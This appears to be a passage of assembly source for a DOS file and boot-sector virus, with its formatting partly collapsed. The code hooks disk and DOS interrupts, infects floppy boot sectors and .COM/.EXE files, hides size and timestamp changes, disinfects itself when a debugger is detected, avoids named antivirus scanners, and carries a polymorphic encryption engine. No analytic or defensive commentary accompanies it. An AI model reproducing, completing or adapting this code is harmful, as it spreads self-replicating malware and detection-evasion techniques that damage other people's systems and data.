;Mark mcb as last in the chainmov byte ptr es :[ di +00h ], "Z"

;Set dos as ownermov word ptr es :[ di +01h ], 0008h

;Set mcb sizemov word ptr es :[ di +03h ], para_size

;Mark UMB as system codemov di , 0008hmov ax , "CS"cldstoswxor ax , axstoswstoswstosw

;Copy to memorypop esmov ax , csmov ds , axsub di , dimov si , bpadd si , 0100hmov cx , lenvircldrep movsb

;Save virus segmentmov ax , essub ax , 10hmov ds , ax

;Hook int 13hmov dx , offset my_int13hmov al , 13hcall set_int

;Hook int 21hmov dx , offset my_int21hmov al , 21hcall set_int

control_end :;Restore old int 03h

lds dx ,dword ptr cs :[ old03h ][ bp]mov al , 03hcall set_int

;Return to hostcmp byte ptr cs :[ prog_type ][ bp], "E"

je exit_exe;-------------------------------------------------- --------------------------;Exit from .COM;-------------------------------------------------- --------------------------exit_com :;Restore first three bytes

mov ax , csmov es , axmov ds , axmov si , offset old_headeradd si , bpmov di , 0100hmov cx , 0003hcldrep movsb

;Restore segment registerspop espop ds

;Check if launcher executioncmp bp, 0000hje endprog

;Get control back to hostpush csmov ax , 0100hpush axcall zero_allretf

;Exit program if launcher executionendprog :

mov ax , 4C00hint 21h

;-------------------------------------------------- --------------------------;Exit from .EXE;-------------------------------------------------- --------------------------exit_exe :;Restore segment registers

pop espop ds

;Get control back to hostmov bx ,word ptr cs :[ file_buffer +16h ][ bp]mov ax , cssub ax , bxmov dx , axadd ax ,word ptr cs :[ old_header +16h ][ bp]add dx ,word ptr cs :[ old_header +0Eh][ bp]mov bx ,word ptr cs :[ old_header +14h ][ bp]mov word ptr cs :[ exeret ][ bp], bxmov word ptr cs :[ exeret +02h ][ bp], axmov ax ,word ptr cs :[ old_header +10h ][ bp]mov word ptr cs :[ fix1 ][ bp], dxmov word ptr cs :[ fix2 ][ bp], axcall zero_alldb 0B8h

fix1 :dw 0000hclimov ss , axdb 0BCh

fix2 :dw 0000hstidb 0EAh

exeret :

dw 0000hdw 0000h

;-------------------------------------------------- --------------------------;Virus int 13h handler;-------------------------------------------------- --------------------------my_int13h :

cmp byte ptr cs :[ dos_flag ], 00hjne ok_dos_flagcall wait_dos

ok_dos_flag :call push_all

;Installation checkcmp ah, 01hjnz not_checkcmp si , 00BADhjne my13h_exitcmp di , 0FACEhjne my13h_exitcall pop_allmov si , 0DEADhmov di , 0BABEhstccmcretf 2

not_check :;Do not use our int 13h handler if we are using our int 21h handler

cmp byte ptr cs :[ running_sw ], "R"jne my13h_exit

;Check for read operationscmp ah, 02hjne short my13h_exit

;Side 0 of drive a:or dx , dxjnz short my13h_exit

;Track 0, sector 1cmp cx , 0001hje infect_floppy

;Get control back to old int 13hmy13h_exit :

call pop_alljmp dword ptr cs :[ old13h ]

;-------------------------------------------------- --------------------------;Infect floppy on drive a:;-------------------------------------------------- --------------------------infect_floppy :;Perform read operation

pushfcall dword ptr cs :[ old13h ]jnc boot_read_okcall pop_allstcretf 2

boot_read_ok :;Check for JMP SHORT at the beginning

cmp byte ptr es :[ bx +00h ], 0EBhjne exit_disk

;Check if infectedcall get_positioncmp word ptr es :[ di +boot_marker - boot_code ], "RC"jne not_infectedjmp stealth_boot

not_infected :;Check for mbr marker also in floppy

cmp word ptr es :[ bx +01FEh], 0AA55hje floppy_infection

exit_disk :call pop_allstccmcretf 2

;Calculate track and head for floppyfloppy_infection :;Get sectors per track

mov ax ,word ptr es :[ bx +18h ]mov cx , ax

;Cut one track for virus bodysub word ptr es :[ bx +13h ], axmov ax ,word ptr es :[ bx +13h ]xor dx , dx

;Divide total sectors by sectors per trackdiv cxxor dx , dx

;Get heads parametermov cx ,word ptr es :[ bx +1Ah]push cx

;Divide tracks by headsdiv cxpush axxchg ah, almov cl , 06hshl al , clor al , 01h

;Save virus body position in floopymov word ptr cs :[ load_cx ], axpop axpop cxxor dx , dxdiv cxmov byte ptr cs :[ load_dh ], dl

;Use floppy root directory for old boot sectormov cx , 000Ehmov dx , 0100h

;Write original boot sector mov ax , 0301hpushfcall dword ptr cs :[ old13h ]jc exit13h_inf

ok_original :;Move virus loader into boot sector

push cspop dsmov si , offset boot_codemov cx , boot_sizecldrep movsb

write_boot :;Reset disk controler

xor ax , axpushfcall dword ptr cs :[ old13h ] ;************old13h]

;Write loadermov ax , 0301hxor dx , dxmov cx , 0001hpushfcall dword ptr cs :[ old13h ] ;+++++++++++old13h]

jnc ok_loaderexit13h_inf :

call pop_allstccmcretf 2

ok_loader :;Set boot flag

mov byte ptr cs :[ prog_type ], "B";Perform encryption

call do_encryptpush cspop es

;Write virus bodymov cx ,word ptr cs :[ load_cx ]mov dh,byte ptr cs :[ load_dh ]mov bx , offset virus_copymov ax , 0300h +sector_sizepushfcall dword ptr cs :[ old13h ] ;+++++++++++++old13h]

;Hide changes made to boot sectorstealth_boot :

call pop_allmov cl , 03hmov al , 01hmov cl , 0Ehmov dh, 01hjmp dword ptr cs :[ old13h ]

;-------------------------------------------------- --------------------------;Code inserted into boot sector;-------------------------------------------------- --------------------------boot_code :

clixor ax , axmov ss , axmov es , axmov ds , axmov si , 7C00hmov sp , sisti

;Allocate some BIOS memorysub word ptr ds :[ 0413h ],( lenvir / 512 )+ 1mov ax ,word ptr ds :[ 0413h ]

;Calculate residence addressmov cl , 06hshl ax , clmov es , ax

;Reset diskxor ax , axint 13h

;Get position in disk;mov cx,XXXXh

db 0B9hload_cx dw 0000h;mov dh,XXh

db 0B6hload_dh db 00h;Prepare for reading virus bodytry_again :

mov ax , 0200h +sector_size;Read at es:bx

xor bx , bx;Read virus body into allocated memory

int 13hjc error_init

;Continue execution on virus body push espush bxretf

;Error during virus initializationerror_init :

int 18h;-------------------------------------------------- --------------------------;Infection marker;-------------------------------------------------- --------------------------boot_marker db "CR";End of boot codeboot_end :;-------------------------------------------------- --------------------------;Virus int 21h;-------------------------------------------------- --------------------------my_int21h :

call push_all;Set int 21h running switch

mov byte ptr cs :[ running_sw ], "F";Anti-heuristic function number examination

xor ax , 0FFFFhmov word ptr cs :[ dos_function ], ax

;Save old int 24hmov al , 24hcall get_intmov word ptr cs :[ old24h_seg ], esmov word ptr cs :[ old24h_off ], bx

;Hook int 24h to a do-nothing handlerpush cspop dsmov dx , offset my_int24hmov al , 24hcall set_int

;Save old int 03hmov al , 03hcall get_intmov word ptr cs :[ old03h_seg ], esmov word ptr cs :[ old03h_off ], bx

;Hook int 03h to original int 21hlds dx ,dword ptr cs :[ old21h ]mov al , 03hcall set_int

;Check for special filesmov ah, 51h ;62h?int 03hdec bxmov ds , bxmov ax ,word ptr ds :[ 0008h ]mov byte ptr cs :[ stealth_sw ], 00h

;Check if arj is running cmp ax , "RA"je disable_stealth

;Check for pkzip utils cmp ax , "KP"je disable_stealth

;Check for lhacmp ax , "HL"je disable_stealth

;Check for backup cmp ax , "AB"

je disable_stealthjmp no_running

disable_stealth :mov byte ptr cs :[ stealth_sw ], 0FFh

no_running :;Restore and re-save all regs

call pop_allcall push_all

;Put function number into bxmov bx ,word ptr cs :[ dos_function ]

;-------------------------------------------------- --------------------------;Infection functions;-------------------------------------------------- --------------------------infection_00 :;Exec function

cmp bx ,( 4B00h xor 0FFFFh)jne infection_01jmp dos_exec

infection_01 :;Close file (Handle)

cmp bh,( 3Eh xor 0FFh)jne stealth_dosjmp dos_close

;-------------------------------------------------- --------------------------;Stealth functions;-------------------------------------------------- --------------------------stealth_dos :;Check if stealth is disabled

cmp byte ptr cs :[ stealth_sw ], 0FFhje m21h_exit

;Open file (Handle)cmp bh,( 3Dh xor 0FFh)jne stealth_00jmp dos_open

stealth_00 :;Extended open

cmp bh,( 6Ch xor 0FFh)jne stealth_01jmp dos_open

stealth_01 :;Directory stealth works with function Findfirst (f cb)

cmp bh,( 11h xor 0FFh)jne stealth_02jmp ff_fcb

stealth_02 :;Directory stealth works also with function Findnex t(fcb)

cmp bh,( 12h xor 0FFh)jne stealth_03jmp ff_fcb

stealth_03 :;Search stealth works with Findfirst (handle)

cmp bh,( 4Eh xor 0FFh)jne stealth_04jmp ff_handle

stealth_04 :;Search stealth works also with Findnext (handle)

cmp bh,( 4Fh xor 0FFh)jne stealth_05jmp ff_handle

stealth_05 :;Read stealth

cmp bh,( 3Fh xor 0FFh)jne stealth_06

jmp dos_readstealth_06 :;Disinfect if debuggers exec

cmp bx ,( 4B01h xor 0FFFFh)jne stealth_07jmp dos_load_exec

stealth_07 :;Disinfect if file write

cmp bh,( 40h xor 0FFh)jne stealth_08jmp dos_write

stealth_08 :;Get file date/time

cmp bx ,( 5700h xor 0FFFFh)jne stealth_09jmp dos_get_time

stealth_09 :;Set file date/time

cmp bx ,( 5701h xor 0FFFFh)jne m21h_exitjmp dos_set_time

;Get control back to dosm21h_exit :;Free int 03h and int 24h

call unhook_intscall pop_alljmp dword ptr cs :[ old21h ]

;-------------------------------------------------- --------------------------;Directory stealth with functions 11h and 12h (fcb);-------------------------------------------------- --------------------------ff_fcb :

call pop_all;Call DOS service

int 03h;Save all regs

call push_all;Check for errors

cmp al , 255je nofound_fcb

;Get current PSPmov ah, 51hint 03h

;Check if call comes from DOSmov es , bxcmp bx , es :[ 16h ]jne nofound_fcbmov bx , dxmov al , ds :[ bx +00h ]push ax

;Get DTAmov ah, 2Fhint 03hpop axinc aljnz fcb_okadd bx , 07h

fcb_ok :;Check if infected

mov ax ,word ptr es :[ bx +17h ]and al , 1Fhcmp al , 1Fhjne nofound_fcb

;Restore seconds

and byte ptr es :[ bx +17h ], 0E0h;Restore original file size

sub word ptr es :[ bx +1Dh], lenvirsbb word ptr es :[ bx +1Fh], 0000h

nofound_fcb :;Restore some registers and return

call unhook_intscall pop_alliret

;-------------------------------------------------- --------------------------;Search stealth with functions 4Eh and 4Fh (handle);-------------------------------------------------- --------------------------ff_handle :

call pop_all;Call DOS service

int 03hjnc ffhokcall unhook_intsstcretf 2

ffhok :;Save result

call push_all;Get DTA

mov ah, 2Fhint 03h

;Check if infectedmov ax ,word ptr es :[ bx +16h ]and al , 1Fhcmp al , 1Fhjne nofound_handle

;Restore seconds fieldand byte ptr es :[ bx +16h ], 0E0h

;Restore original sizesub word ptr es :[ bx +1Ah], lenvirsbb word ptr es :[ bx +1Ch], 0000h

nofound_handle :;Restore some registers and exit

call unhook_intscall pop_allstccmcretf 2

;-------------------------------------------------- --------------------------;Load exec;-------------------------------------------------- --------------------------dos_load_exec :;Open file for read-only

mov ax , 3D00hint 03hjnc loadedjmp m21h_exit

loaded :xchg bx , axjmp do_disinfect

;-------------------------------------------------- --------------------------;Write file;-------------------------------------------------- --------------------------dos_write :

call pop_allcall push_all

do_disinfect :;Get sft address in es:di

call get_sftjc bad_operation

;Check if file is already infectedmov al ,byte ptr es :[ di +0Dh]mov ah, 1Fhand al , ahcmp al , ahje clear_header

bad_operation :jmp load_error

clear_header :;Save and set file open mode (read/write)

mov cx , 0002hxchg cx ,word ptr es :[ di +02h ]push cx

;Save and set file attributexor al , alxchg al ,byte ptr es :[ di +04h ]push ax

;Save and set file pointer positionpush word ptr es :[ di +15h ]push word ptr es :[ di +17h ]

;Get file true size if write operationcmp byte ptr cs :[ dos_function +01h ],( 40h xor 0FFh)jne no_size_fix

;Add virus size to file sizeadd word ptr es :[ di +11h ], lenviradc word ptr es :[ di +13h ], 0000h

no_size_fix :;Point to old header in file

call seek_endsub word ptr es :[ di +15h ], 0019h +01hsbb word ptr es :[ di +17h ], 0000h

;Read old header and encryption keypush cspop dsmov ah, 3Fhmov cx , 0019h +01hmov dx , offset virus_copyint 03hjc exit_disin

;Decrypt headermov cx , 0019hpush dxpop simov al ,byte ptr cs :[ si +19h ]

restore_header :xor byte ptr cs :[ si +00h ], alinc siloop restore_header

;Write old headercall seek_beginmov dx , offset virus_copymov ah, 40hmov cx , 0019h - 01hint 03h

;Truncate filecall seek_endsub word ptr es :[ di +15h ], lenvirsbb word ptr es :[ di +17h ], 0000hxor cx , cxmov ah, 40hint 03h

exit_disin :;Restore file pointer position

pop word ptr es :[ di +17h ]pop word ptr es :[ di +15h ]

;Restore file attribute pop axmov byte ptr es :[ di +04h ], al

;Restore file open modepop word ptr es :[ di +02h ]

;Do not set file date and file time on closingor byte ptr es :[ di +06h ], 40h

;Clear seconds fieldand byte ptr es :[ di +0Dh], 0E0h

load_error :;Check if write function

cmp byte ptr cs :[ dos_function +01h ],( 40h xor 0FFh)je not_load

;Close filemov ah, 3Ehint 03h

not_load :jmp m21h_exit

;-------------------------------------------------- --------------------------;Get file date/time;-------------------------------------------------- --------------------------dos_get_time :

call pop_all;Call function

int 03hjnc ok_get_time

;Exit if errorcall unhook_intsstcretf 2

ok_get_time :call push_all

;Check if file is already infected mov al , clmov ah, 1Fhand al , ahcmp al , ahjne no_get_timecall pop_alland cl , 0E0hjmp short exit_get_time

no_get_time :call pop_all

exit_get_time :call unhook_intsstccmcretf 2

;-------------------------------------------------- --------------------------;Set file date/time;-------------------------------------------------- --------------------------dos_set_time :

call pop_allcall push_all

;Get address of sft entrycall get_sftjc no_set_time

;Check if file is already infected mov al ,byte ptr es :[ di +0Dh]

mov ah, 1Fhand al , ahcmp al , ahje ok_set_time

no_set_time :;Exit if not infected or error

jmp m21h_exitok_set_time :;Perform time change but restore our marker

call pop_allor cl , 1Fhcall push_alljmp m21h_exit

;-------------------------------------------------- --------------------------;Open file;-------------------------------------------------- --------------------------dos_open :;Call dos function

call pop_allint 03hjnc do_open

open_fail :call unhook_intsstcretf 2

do_open :call push_all

;Get sft for file handlexchg bx , axcall get_sftjc no_changes

;Check if file is infected mov al ,byte ptr es :[ di +0Dh]mov ah, 1Fhand al , ahcmp al , ahjne no_changes

;If infected stealth true sizesub word ptr es :[ di +11h ], lenvirsbb word ptr es :[ di +13h ], 0000h

no_changes :call unhook_intscall pop_allstccmcretf 2

;-------------------------------------------------- --------------------------;Read file;-------------------------------------------------- --------------------------dos_read :;Restore function entry regs

call pop_allcall push_all

;Duplicate handlemov ah, 45hint 03hjc no_read_stealthxchg bx , axpush ax

;Close new handle in order to update directory entr ymov ah, 3Ehint 03hpop bx

;Get address of sft entrycall get_sftjc no_read_stealth

;Check if file is already infected mov al ,byte ptr es :[ di +0Dh]mov ah, 1Fhand al , ahcmp al , ahjne no_read_stealth

;Check and save current offset in filemov ax ,word ptr es :[ di +15h ]cmp ax , 0019hjae no_read_stealthcmp word ptr es :[ di +17h ], 0000hjne no_read_stealthmov word ptr cs :[ file_offset ], axcall pop_all

;Save address of read buffermov word ptr cs :[ read_off ], dxmov word ptr cs :[ read_seg ], ds

;Perform read operationint 03hjnc check_read

;Error during file readcall unhook_intsstcretf 2

no_read_stealth :;Exit if no read stealth

jmp m21h_exitcheck_read :

call push_allcall get_sft

;Save offset positionpush word ptr es :[ di +15h ]push word ptr es :[ di +17h ]

;Save file sizepush word ptr es :[ di +11h ]push word ptr es :[ di +13h ]

;Add virus size to file sizeadd word ptr es :[ di +11h ], lenviradc word ptr es :[ di +13h ], 0000h

;Point to old header in filecall seek_endsub word ptr es :[ di +15h ], 0019h +01hsbb word ptr es :[ di +17h ], 0000h

;Read old header and encryption keypush cspop dsmov ah, 3Fhmov cx , 0019h +01hmov dx , offset virus_copyint 03hjc exit_read

;Decrypt headermov cx , 0019hpush dxpop simov al ,byte ptr cs :[ si +19h ]

decrypt_header :xor byte ptr cs :[ si +00h ], alinc siloop decrypt_header

;Move old header into read bufferles di ,dword ptr cs :[ read_ptr ]mov si , offset virus_copymov cx , 0019h - 01hmov ax ,word ptr cs :[ file_offset ]add di , axadd si , axsub cx , axcldrep movsb

exit_read :call get_sft

;Restore file sizepop word ptr es :[ di +13h ]pop word ptr es :[ di +11h ]

;Restore old offset in filepop word ptr es :[ di +17h ]pop word ptr es :[ di +15h ]

;Restore regs and exitcall unhook_intscall pop_allstccmcretf 2

;-------------------------------------------------- --------------------------;Infect file at execution ds:dx ptr to filename;-------------------------------------------------- --------------------------dos_exec :;Open file for read-only

mov ax , 3D00hint 03hjnc ok_file_openjmp file_error

ok_file_open :xchg bx , axjmp short from_open

;-------------------------------------------------- --------------------------;Infect file at close;-------------------------------------------------- --------------------------dos_close :

call pop_allcall push_all

;Duplicate handlemov ah, 45hint 03hjc file_errorxchg bx , axpush ax

;Close new handle in order to update directory entr ymov ah, 3Ehint 03hpop bx

from_open :;Get sft address in es:di

call get_sftjc file_error

;Check device info wordmov ax ,word ptr es :[ di +05h ]

;Check if character device handle test al , 80hjnz file_error

;Check if remote file handletest ah, 0Fh

jnz file_error;Check if file is already infected

mov al ,byte ptr es :[ di +0Dh]mov ah, 1Fhand al , ahcmp al , ahje file_error

;Do not infect files with todays datemov al ,byte ptr es :[ di +0Fh]and al , 1Fhcmp al ,byte ptr cs :[ today ]je file_error

;Check file name in sftmov cx , 0Bhmov si , di

name_loop :;Do not infect files with numbers in their file nam e

cmp byte ptr es :[ si +20h ], "0"jb file_name1cmp byte ptr es :[ si +20h ], "9"jbe file_error

file_name1 :;Do not infect files witch name contains v's

cmp byte ptr es :[ si +20h ], "V"je file_error

;Do not infect files with mo in their nameinc siloop name_loop

;Get first pairmov ax ,word ptr es :[ di +20h ]

;Do not infect Thunderbyte antivirus utils cmp ax , "BT"je file_error

;Do not infect McAfee's Scancmp ax , "CS"je file_error

;Do not infect F-Prot scannercmp ax , "-F"je file_error

;Do not infect Solomon's Guardcmp ax , "UG"jne file_infection

file_error :jmp m21h_exit

file_infection :;Save and set file open mode (read/write)

mov cx , 0002hxchg cx ,word ptr es :[ di +02h ]push cx

;Save and set file attributexor al , alxchg al ,byte ptr es :[ di +04h ]push axtest al , 04hjnz system_file

;Save and set file pointer positionpush word ptr es :[ di +15h ]push word ptr es :[ di +17h ]call seek_begin

;Read first 20h bytes push cspop dsmov ah, 3Fh

mov cx , 0020hmov dx , offset file_bufferint 03h

;Seek to end of file and get file sizecall seek_end

;Do not infect too small .exe or .com filesor dx , dxjnz ok_min_sizecmp ax , lenvir +0410hjbe exit_inf

ok_min_size :;Check for .com extension

cmp word ptr es :[ di +28h ], "OC"jne no_comcmp byte ptr es :[ di +2Ah], "M"je inf_com

no_com:;Check for .exe mark in file header

mov cx ,word ptr cs :[ file_buffer +00h ];Add markers M+Z

add cl , chcmp cl , "Z" +"M"jne exit_inf

;Check for .exe extension cmp word ptr es :[ di +28h ], "XE"jne exit_infcmp byte ptr es :[ di +2Ah], "E"jne exit_infjmp inf_exe

;-------------------------------------------------- --------------------------;Exit from file infection;-------------------------------------------------- --------------------------exit_inf :;Restore file pointer position

pop word ptr es :[ di +17h ]pop word ptr es :[ di +15h ]

system_file :;Restore file attribute

pop axmov byte ptr es :[ di +04h ], al

;Restore file open modepop word ptr es :[ di +02h ]

;Do not set file date/time on closingor byte ptr es :[ di +06h ], 40h

;Check if close functioncmp byte ptr cs :[ dos_function +01h ],( 3Eh xor 0FFh)je no_close_file

;Close filemov ah, 3Ehint 03h

no_close_file :jmp m21h_exit

;-------------------------------------------------- --------------------------;Infect .COM file;-------------------------------------------------- --------------------------inf_com :;Don't infect too big .com files

cmp ax , 0FFFFh-( lenvir +10h )jae exit_inf

;Copy headercall copy_header

;Get file length as entry pointsub ax , 03h

;Write a jump to virus into headermov byte ptr cs :[ file_buffer +00h ], 0E9hmov word ptr cs :[ file_buffer +01h ], ax

;Set .com marker mov byte ptr cs :[ prog_type ], "C"

;Encrypt and infectjmp get_control

;-------------------------------------------------- --------------------------;Infect .EXE file;-------------------------------------------------- --------------------------inf_exe :;Don't infect Windows programs

cmp word ptr cs :[ file_buffer +18h ], 0040hjae bad_exe

;Don't infect overlayscmp word ptr cs :[ file_buffer +1Ah], 0000hjne bad_exe

;Check maxmem fieldcmp word ptr cs :[ file_buffer +0Ch], 0FFFFhjne bad_exe

;Save file sizepush axpush dx

;Page ends on 0200h boundarymov cx , 0200hdiv cxor dx , dxjz no_round_1inc ax

no_round_1 :cmp ax ,word ptr cs :[ file_buffer +04h ]jne no_fit_sizecmp dx ,word ptr cs :[ file_buffer +02h ]je header_ok

no_fit_size :pop dxpop ax

bad_exe :;Exit if cant infect .exe

jmp exit_infheader_ok :

call copy_headerpop dxpop axpush axpush dxmov cx , 10hdiv cxsub ax ,word ptr cs :[ file_buffer +08h ]

;Store new entry pointmov word ptr cs :[ file_buffer +14h ], dxmov word ptr cs :[ file_buffer +16h ], ax

;Store new stack positionadd dx , lenvir +0410hand dx , 0FFFEhinc axmov word ptr cs :[ file_buffer +0Eh], axmov word ptr cs :[ file_buffer +10h ], dx

;Restore sizepop dxpop ax

;Add virus size to file sizeadd ax , lenvir

adc dx , 0000h;Page ends on 0200h boundary

mov cx , 0200hdiv cxor dx , dxjz no_round_2inc ax

no_round_2 :;Store new size

mov word ptr cs :[ file_buffer +04h ], axmov word ptr cs :[ file_buffer +02h ], dx

;Set .exe marker mov byte ptr cs :[ prog_type ], "E"

;Encryption an infection continues on next routine;-------------------------------------------------- --------------------------;Encryption and physical infection;-------------------------------------------------- --------------------------get_control :

call do_encrypt;Write virus body to the end of file

mov ah, 40hmov cx , lenvirmov dx , offset virus_copyint 03hjc no_good_write

;Seek to beginning of filecall seek_begin

;Write new headermov ah, 40hmov cx , 0019h - 01hmov dx , offset file_bufferint 03h

;Mark file as infectedor byte ptr es :[ di +0Dh], 1Fh

no_good_write :;Jump to infection end

jmp exit_inf;-------------------------------------------------- --------------------------;Encrypt virus body with variable key and generate a;polymorphic decryptor.;-------------------------------------------------- --------------------------do_encrypt :

call push_all;Initialize engine

xor ax , axmov word ptr cs :[ last_subroutine ], axmov word ptr cs :[ decrypt_sub ], axmov word ptr cs :[ last_fill_type ], axdec axmov word ptr cs :[ last_step_type ], axmov byte ptr cs :[ last_int_type ], almov byte ptr cs :[ decrypt_pointer ], al

;Choose counter and pointer registercall get_rndand al , 01hmov byte ptr cs :[ address_register ], al

;Choose register for decryption instructionscall get_rndand al , 38hmov byte ptr cs :[ decrypt_register ], al

;Chose segment registers for memory operationscall get_seg_regmov byte ptr cs :[ address_seg_1 ], al

call get_seg_regmov byte ptr cs :[ address_seg_2 ], al

;Fill our buffer with garbagemov ax , csmov ds , axmov es , axmov di , offset virus_copypush dimov cx , decryptorcld

fill_garbage :call get_rndstosbloop fill_garbagepop di

;Now es:di points to the buffer were engine put pol ymorphic codechoose_type :;Select the type of filler

mov ax ,( end_step_table - step_table )/ 2call rand_in_range

;Avoid same types in a rowcmp ax ,word ptr cs :[ last_step_type ]je choose_typemov word ptr cs :[ last_step_type ], axadd ax , axmov bx , axcldcall word ptr cs :[ step_table +bx ]cmp byte ptr cs :[ decrypt_pointer ], 05hjne choose_type

;Generate some garbagecall rnd_garbage

;Generate a jump to virus bodymov al , 0E9hstosbmov ax , decryptormov bx , disub bx , offset virus_copy - 02hsub ax , bxstosw

;Store random crypt valueget_rnd_key :

call get_rndor al , aljz get_rnd_keyxchg bx , axmov byte ptr cs :[ clave_crypt ], bl

;Copy virus body to the working area while encryptmov si , offset virus_bodymov di , offset virus_copy +decryptormov cx , lenvir - decryptor - 01hcld

load_crypt :lodsbxor al , blstosbloop load_crypt

;Store key without encryptionmovsb

;Restore all regs and return to infection routine call pop_allret

;-------------------------------------------------- ---------------------------

;Get a valid opcode for memory operations;-------------------------------------------------- ---------------------------get_seg_reg :

cmp byte ptr cs :[ prog_type ], "C"je use_ds_esmov al , 2Ehret

use_ds_es :call get_rndand al , 18hcmp al , 10hje get_seg_regor al , 26hret

;-------------------------------------------------- ---------------------------;Generate next decryptor instruction;-------------------------------------------------- ---------------------------next_decryptor :;Next instruction counter

inc byte ptr cs :[ decrypt_pointer ];Check if there is a subroutine witch contains next decryptor instruction

cmp word ptr cs :[ decrypt_sub ], 0000hje build_now

;If so build a call instruction to that subroutinecall do_call_decryptorret

build_now :;Else get next instruction to build

mov bl ,byte ptr cs :[ decrypt_pointer ];Generate decryption instructions just into subrout ines

cmp bl , 03hjne entry_from_sub

;No instruction was created so restore old pointerdec byte ptr cs :[ decrypt_pointer ]ret

entry_from_sub :;Entry point if calling from decryptor subroutine b uilding

xor bh, bhadd bx , bx

;Build instruction call word ptr cs :[ instruction_table +bx ]ret

;-------------------------------------------------- ---------------------------;Get delta offset;-------------------------------------------------- ---------------------------inst_get_delta :;Decode a call to next instruction and pop bp

push dimov ax , 00E8hstoswmov ax , 5D00hstosw

;Generate some garbagecall rnd_garbage

;Decode a sub bpmov ax , 0ED81hstosw

;Store address of labelpop axsub ax , offset virus_copy - 0103h

no_sub_psp :stoswret

;-------------------------------------------------- ---------------------------;Load counter register;-------------------------------------------------- ---------------------------inst_load_counter :

mov al , 0BEhadd al ,byte ptr cs :[ address_register ]stosb

;Store size of encrypted datamov ax , lenvir - decryptor - 01hstoswret

;-------------------------------------------------- ---------------------------;Load pointer to encrypted data;-------------------------------------------------- ---------------------------inst_load_pointer :;Load di as pointer

mov al , 0BFhsub al ,byte ptr cs :[ address_register ]stosb

;Store offset position of encrypted datamov ax , offset virus_bodystosw

;Generate garbage in some casescall rnd_garbage

;Generate add reg,bpmov ch ,byte ptr cs :[ address_register ]mov cl , 03hrol ch , clmov ax , 0FD03hsub ah, chstoswret

;-------------------------------------------------- ---------------------------;Decrypt one byte from encrypted data;-------------------------------------------------- ---------------------------inst_decrypt_one :;Decode a mov reg,byte ptr cs:[key][bp]

mov al ,byte ptr cs :[ address_seg_1 ]mov ah, 8Ahstoswmov al ,byte ptr cs :[ decrypt_register ]or al , 86hstosb

;Store position of encryption keymov ax , offset clave_cryptstosw

;Decode a xor byte ptr cs:[si],regmov al ,byte ptr cs :[ address_seg_2 ]mov ah, 30hstoswmov al ,byte ptr cs :[ decrypt_register ]or al , 05hsub al ,byte ptr cs :[ address_register ]stosbret

;-------------------------------------------------- ---------------------------;Increment pointer to encrypted zone;-------------------------------------------------- ---------------------------inst_inc_pointer :

mov al , 47hsub al ,byte ptr cs :[ address_register ]stosbret

;-------------------------------------------------- ---------------------------;Decrement counter and loop;-------------------------------------------------- ---------------------------inst_dec_loop :;Decode a dec reg instruction

mov al , 4Ehadd al ,byte ptr cs :[ address_register ]stosb

;Decode a jz mov al , 74hstosbpush diinc di

;Generate some garbage instructionscall rnd_garbage

;Decode a jmp to loop instructionmov al , 0E9hstosbmov ax ,word ptr cs :[ address_loop ]sub ax , didec axdec axstosw

;Generate some garbage instructionscall rnd_garbage

;Store jz displacementmov ax , dipop dipush axsub ax , didec axstosbpop diret

;-------------------------------------------------- ---------------------------;Generate some garbage instructions if rnd;-------------------------------------------------- ---------------------------rnd_garbage :

call get_rndand al , 01hjz do_rnd_garbageret

do_rnd_garbage :call g_generatorret

;-------------------------------------------------- ---------------------------;Generate a push reg and garbage and pop reg;-------------------------------------------------- ---------------------------do_push_g_pop :;Build a random push pop

call do_push_pop;Get pop instruction

dec dimov al ,byte ptr cs :[ di +00h ]push axcall g_generatorpop axstosbret

;-------------------------------------------------- ---------------------------;Generate a subroutine witch contains garbage code.;-------------------------------------------------- ---------------------------do_subroutine :

cmp word ptr cs :[ last_subroutine ], 0000hje create_routineret

create_routine :;Generate a jump instruction

mov al , 0E9hstosb

;Save address for jump constructionpush di

;Save address of subroutinemov word ptr cs :[ last_subroutine ], di

;Get subroutine addressinc diinc di

;Generate some garbage codecall g_generator

;Insert ret instructionmov al , 0C3hstosb

;Store jump displacementmov ax , dipop dipush axsub ax , didec axdec axstoswpop diret

;-------------------------------------------------- ---------------------------;Generate a subroutine witch contains one decryptor instruction;-------------------------------------------------- ---------------------------sub_decryptor :

cmp word ptr cs :[ decrypt_sub ], 0000hje ok_subroutineret

ok_subroutine :;Do not generate the loop branch into a subroutine

mov bl ,byte ptr cs :[ decrypt_pointer ]inc blcmp bl , 05hjne no_loop_subret

no_loop_sub :;Generate a jump instruction

mov al , 0E9hstosb

;Save address for jump constructionpush di

;Save address of subroutinemov word ptr cs :[ decrypt_sub ], diinc diinc dipush bxcall rnd_garbagepop bxcall entry_from_subcall rnd_garbage

build_return :;Insert ret instruction

mov al , 0C3hstosb

;Store jump displacement

mov ax , dipop dipush axsub ax , didec axdec axstoswpop diret

;-------------------------------------------------- ---------------------------;Generate a call instruction to a subroutine witch contains;next decryptor instruction;-------------------------------------------------- ---------------------------do_call_decryptor :

cmp byte ptr cs :[ decrypt_pointer ], 03hjne no_store_call

;Save position mov word ptr cs :[ address_loop ], di

no_store_call :;Build a call to our subroutine

mov al , 0E8hstosbmov ax ,word ptr cs :[ decrypt_sub ]sub ax , distosw

;Do not use this subrotine againmov word ptr cs :[ decrypt_sub ], 0000hret

;-------------------------------------------------- ---------------------------;Generate a call instruction to a subroutine witch some garbage code;-------------------------------------------------- ---------------------------do_call_garbage :

mov cx ,word ptr cs :[ last_subroutine ];Check if there is a subroutine to call

or cx , cxjnz ok_call

;No, so exitret

ok_call :;Build a call to our garbage subroutine

mov al , 0E8hstosbmov ax , cxsub ax , distosw

;Do not use this subrotine againmov word ptr cs :[ last_subroutine ], 0000hret

;-------------------------------------------------- ---------------------------;Generate a branch followed by some garbage code;-------------------------------------------------- ---------------------------do_branch :;Generate a random conditional jump instruction

call get_rndand al , 07hor al , 70hstosb

;Save address for jump constructionpush di

;Get subroutine addressinc di

;Generate some garbage codecall g_generator

;Store jump displacementmov ax , dipop dipush axsub ax , didec axstosbpop diret

;-------------------------------------------------- ---------------------------;Lay down between 2 and 5 filler opcodes selected f rom the available;types;-------------------------------------------------- ---------------------------g_generator :;Get a random number for fill count

call get_rndand ax , 03h

;Min 2, max 5 opcodesinc axinc ax

next_fill :push ax

new_fill :;Select the type of filler

mov ax ,( end_op_table - op_table )/ 2call rand_in_range

;Avoid same types in a rowcmp ax ,word ptr cs :[ last_fill_type ]je new_fillmov word ptr cs :[ last_fill_type ], axadd ax , axmov bx , axcall word ptr cs :[ op_table +bx ]pop axdec axjnz next_fillret

